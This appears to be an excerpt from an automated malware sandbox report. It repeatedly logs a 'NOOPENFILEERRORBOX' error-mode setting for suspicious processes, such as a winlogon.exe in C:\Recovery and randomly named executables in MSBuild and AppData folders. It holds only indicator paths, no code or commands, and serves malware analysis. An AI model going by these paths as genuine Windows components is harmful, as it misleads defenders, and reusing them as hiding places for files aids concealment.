Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process information set: NOOPENFILEERRORBOX
